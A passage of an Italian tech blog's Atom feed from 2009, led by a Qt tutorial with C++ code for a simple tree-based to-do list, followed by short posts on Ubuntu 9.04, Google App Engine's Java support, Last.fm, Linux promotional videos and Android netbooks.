src="http://trolltech.com/images/products/Qt_logostrap_CMYK.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ho pensato a un piccolo programmino che consenta di gestire il ToDo. Non solo per i programmatori, ma una sorta di organizzazione per tutti i gusti.&lt;br /&gt;Per lo sviluppo di questa piccola applicazione utilizzeremo QtCreator 1.1.0 che fornisce tutti gli strumenti utili.&lt;br /&gt;È possibile scaricare l'IDE da &lt;a href="http://www.qtsoftware.com/downloads"&gt;qua&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Comiciamo con il creare la form come avevo già mostrato &lt;a href="http://opentalking.blogspot.com/2009/03/primo-programma-qt-convertitore.html"&gt;tempo fa sempre su questo blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Creiamo una form con i seguenti componenti:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;QTreeWidget lista todo&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;è possibile creare una QTreeView e poi trasformarla in QTreeWidget con il tasto destro e poi cliccando su change into-&gt; tree widget&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Nome dell'oggetto: todoList&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PushButton con label Aggiungi e objectName add_bt&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PushButton con label Rimuovi e objectName remove_bt&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Horizontal separator da posizionare alla sinistra del pulsante "Rimuovi"&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;Dopo aver inserito tutti questi componenti sistemiamo il layout selezionando i due bottoni e il separator e poi cliccando su Layout Horizzontally in alto.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SfwkCmEfm6I/AAAAAAAAAZo/u9hIO5cgfXI/s1600-h/screenshot2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 26px; height: 20px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SfwkCmEfm6I/AAAAAAAAAZo/u9hIO5cgfXI/s320/screenshot2.png" alt="" id="BLOGGER_PHOTO_ID_5331175685897558946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Poi fare click sulla form e cliccare su Grid Layout sempre nella solita barra.&lt;br /&gt;Si otterrà pressochè il seguente risultato:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SfwkZLhD4jI/AAAAAAAAAZw/6nAQeA16UK0/s1600-h/screenshot1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 270px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SfwkZLhD4jI/AAAAAAAAAZw/6nAQeA16UK0/s320/screenshot1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5331176073906610738" /&gt;&lt;/a&gt;&lt;br /&gt;Ora andiamo a creare gli slots per gli eventi dei due pulsanti.&lt;br /&gt;Nel file mainwindow.h modifichiamo il codice portandolo nelle seguente forma:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;#ifndef MAINWINDOW_H&lt;br /&gt;#define MAINWINDOW_H&lt;br /&gt;&lt;br /&gt;#include &amp;lt;QtGui/QMainWindow&amp;gt;&lt;br /&gt;#include &amp;lt;QtGui/QTreeWidgetItem&amp;gt;&lt;br /&gt;#include &amp;lt;QtGui/QInputDialog&amp;gt;&lt;br /&gt;&lt;br /&gt;namespace Ui&lt;br /&gt;{&lt;br /&gt;    class MainWindowClass;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class MainWindow : public QMainWindow&lt;br /&gt;{&lt;br /&gt;    Q_OBJECT&lt;br /&gt;&lt;br /&gt;public:&lt;br /&gt;    MainWindow(QWidget *parent = 0);&lt;br /&gt;    ~MainWindow();&lt;br /&gt;&lt;br /&gt;private slots:&lt;br /&gt;    void on_add_bt_clicked();&lt;br /&gt;    void on_remove_bt_clicked();&lt;br /&gt;&lt;br /&gt;private:&lt;br /&gt;    Ui::MainWindowClass *ui;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;#endif // MAINWINDOW_H&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Innanzitutto occorre modificare il costruttore per fare in modo che il treewidget abbia una sola colonna che si chiama "Activity".&lt;br /&gt;Lo si fa con il codice presentato di seguito da inserire nel costruttore.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt; ui-&amp;gt;todoList-&amp;gt;setObjectName(QString::fromUtf8(&amp;quot;treeWidget&amp;quot;));&lt;br /&gt;    ui-&amp;gt;todoList-&amp;gt;setColumnCount( 1 );&lt;br /&gt;&lt;br /&gt;    ui-&amp;gt;todoList-&amp;gt;headerItem()-&amp;gt;setText( 0, QApplication::translate( &amp;quot;widget&amp;quot;, &amp;quot;Activity&amp;quot;,&lt;br /&gt;       0, QApplication::UnicodeUTF8 ) );&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Ora andiamo a creare le due funzioni nel file mainwindow.cpp&lt;br /&gt;&lt;br /&gt;Per prima cosa creiamo la funzione che aggiunge un item sotto a quello selezionato nell'albero.&lt;br /&gt;Lo facciamo salvandoci nella variabile selected la selezione dell'utente e poi richiamando una QInputDialog che farà inserire all'utente una stringa tramite la funzione getText().&lt;br /&gt;Dopo di che creiamo un QTreeWidgetItem e gli assegnamo come parent la root del widget se non è selezionato alcun item, altrimenti gli assegnamo come parent il primo elemento che si trova nella selezione, selected[0].&lt;br /&gt;&lt;br /&gt;Ecco il codice che fa tutto questo.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;void MainWindow::on_add_bt_clicked()&lt;br /&gt;{&lt;br /&gt;    QList&amp;lt;QTreeWidgetItem *&amp;gt; selected = ui-&amp;gt;todoList-&amp;gt;selectedItems();&lt;br /&gt;    bool ok;&lt;br /&gt;    QString text = QInputDialog::getText(this,QString(&amp;quot;Inserisci attivit&amp;#224;&amp;quot;),QString(&amp;quot;Inserisci nuovo ToDo nella lista:&amp;quot;),QLineEdit::Normal,QString(&amp;quot;&amp;quot;),&amp;amp;ok);&lt;br /&gt;    QTreeWidgetItem * i;&lt;br /&gt;    if(selected.length() &amp;gt; 0)&lt;br /&gt;        i = new QTreeWidgetItem(selected[0],0);&lt;br /&gt;    else&lt;br /&gt;        i = new QTreeWidgetItem(ui-&amp;gt;todoList,0);&lt;br /&gt;&lt;br /&gt;    i-&amp;gt;setText(0,text);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Andiamo ora a scrivere la seconda funzione, quella che rimuove l'item selezionato nell'albero.&lt;br /&gt;Ovviamente se non ci sono item selezionati non si fa nulla. Se invece si ha un item selezionato lo si rimuove semplicemente invocando il suo distruttore come mostrato sotto.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;{&lt;br /&gt;    QList &amp;lt;QTreeWidgetItem *&amp;gt; selected = ui-&amp;gt;todoList-&amp;gt;selectedItems();&lt;br /&gt;&lt;br /&gt;    if(selected.length() &amp;gt; 0)&lt;br /&gt;        selected[0]-&amp;gt;~QTreeWidgetItem();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Se ora si prova a compilare ed eseguire si avrà più o meno il risultato che segue.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sXS0ScZT1Nw/Sfwm8JDAgsI/AAAAAAAAAZ4/NQUg0F3QVUk/s1600-h/screenshot3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 310px; height: 320px;" src="http://3.bp.blogspot.com/_sXS0ScZT1Nw/Sfwm8JDAgsI/AAAAAAAAAZ4/NQUg0F3QVUk/s320/screenshot3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5331178873562366658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sicuramente avrete notato che nella grafica finale c'è anche il menù file nella barra dei menu. Ma di questo parliamo la prossima volta ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2443470683742072727?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2443470683742072727/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2443470683742072727' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2443470683742072727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2443470683742072727'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/qt-tutorial-qtodo.html' title='Qt Tutorial - QToDo'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/SfwkCmEfm6I/AAAAAAAAAZo/u9hIO5cgfXI/s72-c/screenshot2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1793611200518644270</id><published>2009-04-26T07:52:00.002+02:00</published><updated>2009-04-26T07:54:31.299+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>E' giunta l'ora X</title><content type='html'>Stamattina ecco con che mail mi sveglio:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Hi evoc_jazz,&lt;br /&gt;&lt;br /&gt;Your free trial to Last.fm Radio is about to end. If you're enjoying it, why not&lt;br /&gt;subscribe for only €3.00/month and continue listening to non-stop personalised&lt;br /&gt;radio.&lt;br /&gt;&lt;br /&gt;http://www.last.fm/subscribe&lt;br /&gt;&lt;br /&gt;Best Regards,&lt;br /&gt;The Last.fm Team&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Bisognerà abbonarsi, che ne dite?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1793611200518644270?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1793611200518644270/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1793611200518644270' title='3 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1793611200518644270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1793611200518644270'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/e-giunta-lora-x.html' title='E&apos; giunta l&apos;ora X'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-64261550909632547</id><published>2009-04-22T21:06:00.001+02:00</published><updated>2009-04-22T21:08:03.940+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Tomorrowbutntu!!!</title><content type='html'>Ci siamo!!!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.aiga.org/Resources/SymbolSigns/gif_large/51_rightarrow_inv.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 282px; height: 282px;" src="http://www.aiga.org/Resources/SymbolSigns/gif_large/51_rightarrow_inv.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Seguite la freccia e noterete che domani è l'X-day. Ho già l'ADSL che scalpita per scaricare l'ISO di Ubuntu 9.04.&lt;br /&gt;&lt;br /&gt;A domani!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-64261550909632547?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/64261550909632547/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=64261550909632547' title='2 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/64261550909632547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/64261550909632547'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/tomorrowbutntu.html' title='Tomorrowbutntu!!!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5238164729829514693</id><published>2009-04-18T11:59:00.006+02:00</published><updated>2009-04-18T12:15:43.804+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='App Engine'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Google App Engine Java Support</title><content type='html'>La notizia non è fresca fresca, anche se sono passati solo pochi giorni, ma ora sarà possibile scrivere applicazioni web sulla "piattaforma" App Engine di google anche con il linguaggio Java™.&lt;br /&gt;&lt;br /&gt;Sul &lt;a href="http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html"&gt;blog ufficiale&lt;/a&gt; ecco come comincia l'annuncio:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;Today, we're very excited to announce the availability of a new programming language for Google App Engine. Please welcome the Java runtime!&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Gli articoli su questo nuovo arrivato nel mondo App Engine non si fermano e Google afferma addirittura che:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;...we're expanding the early look signups to 25,000 developers...&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;L'intero intervento si trova a &lt;a href="http://googleappengine.blogspot.com/2009/04/early-look-at-java-language-support.html"&gt;questo indirizzo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Il piatto sembra veramente gustoso, come d'altronde lo era già quando App Engine supportava solo Python.&lt;br /&gt;&lt;br /&gt;Anche in questo caso Google ci ha semplificato molto la vita fornendo, SDK, Plug-in per Eclipse, Emulatore offline e tanta documentazione.&lt;br /&gt;&lt;br /&gt;Possiamo vedere quanto è semplice creare un applicazione di Guestbook, questa volta in Java, nel video che si trova sul &lt;a href="http://code.google.com/appengine/"&gt;sito ufficiale&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="240"&gt;&lt;param name="movie" value="http://www.youtube.com/v/P3GT4-m_6RQ&amp;hl=it&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/P3GT4-m_6RQ&amp;hl=it&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="240"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Mi sono già venute in mente un paio di ideuzze per vedere di cosa è capace questo strumento. &lt;br /&gt;&lt;br /&gt;Buon coding a tutti ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5238164729829514693?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5238164729829514693/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5238164729829514693' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5238164729829514693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5238164729829514693'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/google-app-engine-java-support.html' title='Google App Engine Java Support'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4524571505847493928</id><published>2009-04-13T10:42:00.003+02:00</published><updated>2009-04-13T11:32:36.902+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Pubblicità per linux.</title><content type='html'>Sono stati annunciati i vincitori del "concorso" lanciato dalla Linux Foundation che chiedeva agli utenti Linux di fare il proprio video di pubblicità a Linux.&lt;br /&gt;&lt;br /&gt;A questo indirizzo trovate i primi classificati: &lt;a href="http://www.ossblog.it/post/4798/i-vincitori-del-concorso-were-linux"&gt;http://www.ossblog.it/post/4798/i-vincitori-del-concorso-were-linux&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Devo dire che sono usciti proprio dei bei video, come il primo classificato:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qWEIQIv8zvY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/qWEIQIv8zvY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Enjoy ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4524571505847493928?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4524571505847493928/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4524571505847493928' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4524571505847493928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4524571505847493928'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/pubblicita-per-linux.html' title='Pubblicità per linux.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-246911294157284011</id><published>2009-04-05T12:10:00.003+02:00</published><updated>2009-04-05T12:22:34.225+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Libertà di parola'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>L'esempio di Rai.tv non è servito</title><content type='html'>E' domenica mattina e tutto dovrebbe scorrere in maniera tranquilla e serena, ma non è così. Un'altra volta mi hanno costretto a venire su questo blog e a sparare a tutto spiano sulle decisioni in campo IT delle aziende che dovrebbero fare servizio in Italia e in particolare sulle TV.&lt;br /&gt;&lt;br /&gt;Già in passato rai.tv aveva commesso questo errore: senza windows e IE era impossibile guardare i contenuti dell'archivio rai.&lt;br /&gt;&lt;br /&gt;Oggi vado per vedere le superbike su internet nel sito internazionale e subito noto una differenza: il sito si connette alle varie tv locali per la trasmissione dell'evento.&lt;br /&gt;&lt;br /&gt;Ed ecco subito la seconda sorpresa:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SdiF7zJ67WI/AAAAAAAAAZI/yoCjCRadq2k/s1600-h/sbk.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 180px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SdiF7zJ67WI/AAAAAAAAAZI/yoCjCRadq2k/s320/sbk.png" alt="" id="BLOGGER_PHOTO_ID_5321150222128835938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Non aggiungo commenti mentre sto cercando di aggirare questo blocco. Ci risiamo, ogni volta è sempre la stessa storia. Complimenti!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-246911294157284011?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/246911294157284011/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=246911294157284011' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/246911294157284011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/246911294157284011'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/lesempio-di-raitv-non-e-servito.html' title='L&apos;esempio di Rai.tv non è servito'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/SdiF7zJ67WI/AAAAAAAAAZI/yoCjCRadq2k/s72-c/sbk.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-284918164215691134</id><published>2009-04-04T14:41:00.004+02:00</published><updated>2009-04-04T15:25:23.946+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Android: nuovi orizzonti</title><content type='html'>Ho già parlato di Android nel mio blog ma questa volta non voglio farlo nella suo ambito naturale, gli smart phone, ma in un contesto "completamente" nuovo.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://cache.boston.com/resize/bonzai-fba/Reuters_Photo/2009/03/31/1238551199_3768/539w.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 358px; height: 253px;" src="http://cache.boston.com/resize/bonzai-fba/Reuters_Photo/2009/03/31/1238551199_3768/539w.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;E' di un paio di giorni fa la &lt;a href="http://www.hwupgrade.it/news/portatili/hp-studia-una-soluzione-netbook-con-android_28557.html"&gt;notizia&lt;/a&gt; che HP sia al lavoro per una soluzione netbook + Google Android.&lt;br /&gt;&lt;br /&gt;Questa notizia mi ha molto colpito perchè, a mio modesto avviso, è proprio quello che ci voleva. Un dispositivo netbook con sistema operativo studiato proprio per il mondo mobile.&lt;br /&gt;&lt;br /&gt;Secondo me un prodotto di questo tipo si incastra perfettamente nello scenario attuale della tecnologia. Mi spiego meglio.&lt;br /&gt;&lt;br /&gt;Da qualche settimana è arrivato anche in italia &lt;span style="font-weight: bold; font-style: italic;"&gt;Dream&lt;/span&gt; il primo Googlefonino con sistema operativo Android. Subito due sono state le cose che mi sono balzate all'occhio:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Un prezzo spropositato: io ritengo che 450 euro + tutta una serie di costi dovuta alla connettività che deve avere un dispositivo del genere siano un'assurdità, ma se il mercato è recettivo evidentemente se lo merita. Proprio su Hacker Journa di queste due settimane, nella pagina dell'editoriale è esposto un bell'epigrafo, "&lt;span style="font-style: italic;"&gt;C'è vero progresso solo quando i vantaggi di una nuova tecnologia diventano per tutti.&lt;/span&gt;" (Henry Ford). Mi sarei aspettato ben altro ingresso nel mercato da parte del Googlefonino e soprattutto di Tim se vuole giocare d'anticipo.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tutta una serie di blocchi imposti da Google/HTC/Tim e chi più ne ha più ne metta che taglia fuori una serie di smanettoni. Senza contare che anche per google varrà la regola: blocco inserito - sblocco trovato.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Sempre secondo me, un netbook a prezzo oramai consolidatamente popolare unito a un sistema operativo, in primis Open Source, e studiato apposta per il mobile porta una ventata di "novità" molto interessante per questo settore.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-284918164215691134?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/284918164215691134/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=284918164215691134' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/284918164215691134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/284918164215691134'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/04/android-nuovi-orizzonti.html' title='Android: nuovi orizzonti'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6113182331348197374</id><published>2009-03-29T12:55:00.006+02:00</published><updated>2009-04-18T12:51:43.397+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Full Circle 